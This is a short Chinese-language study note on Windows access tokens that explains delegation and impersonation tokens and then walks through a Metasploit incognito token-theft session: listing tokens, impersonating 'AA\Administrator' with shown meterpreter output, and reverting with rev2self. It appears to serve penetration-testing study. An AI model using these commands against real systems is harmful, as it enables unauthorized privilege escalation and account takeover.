令牌
令牌是描述进程或者线程安全上下文的一个对象。
不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,
不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Toke
访问令牌分为:
授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种 token 只有在系统重启后才会清除;授权令牌在⽤户注销后,该令牌会变为模拟令牌依旧有效。
Metasploit进行令牌窃取
此工具需要提权为system权限才能查看所有的token
#加载模块
use incognito
#列出token
list_tokens -u
#窃取token
impersonate_token 'AA\Administrator'
meterpreter > impersonate_token 'AA\Administrator'
[+] Delegation token available
[+] Successfully impersonated user AA\Administrator
meterpreter > getuid
Server username: AA\Administrator
执行完命令后,通过以下命令返回之前的token
rev2self
##或
drop_token